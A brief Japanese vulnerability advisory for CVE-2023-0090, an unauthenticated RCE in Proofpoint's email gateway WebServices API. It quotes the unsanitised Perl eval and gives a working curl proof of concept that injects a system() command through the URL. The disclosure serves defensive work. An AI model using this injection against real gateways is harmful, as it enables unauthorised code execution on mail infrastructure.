
Proofpoint Email Gateway: 未認証のRCE
セキュリティ研究者: ly1g3, ly1g3[at]tuta.io
GPGフィンガープリント: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
概要: リモートコード実行 - 未認証RCE
CVE: CVE-2023-0090
タイムライン:
Proofpoint Messaging Security Gateway 向けエクスプロイト
WebServices API にアクセスできると、未認証のまま管理者権限で RCE を達成できます。
Webservices.pm はユーザー入力をサニタイズまたはチェックしません。この関数に到達するのに認証は不要ですが、RCE を行うには設定で API アクセスが有効になっている必要があります。$module はユーザーデータから直接取得され、評価されます。
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
/tmp/ に abc というファイルを作成します。コードは pps ユーザーとして実行されます。
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"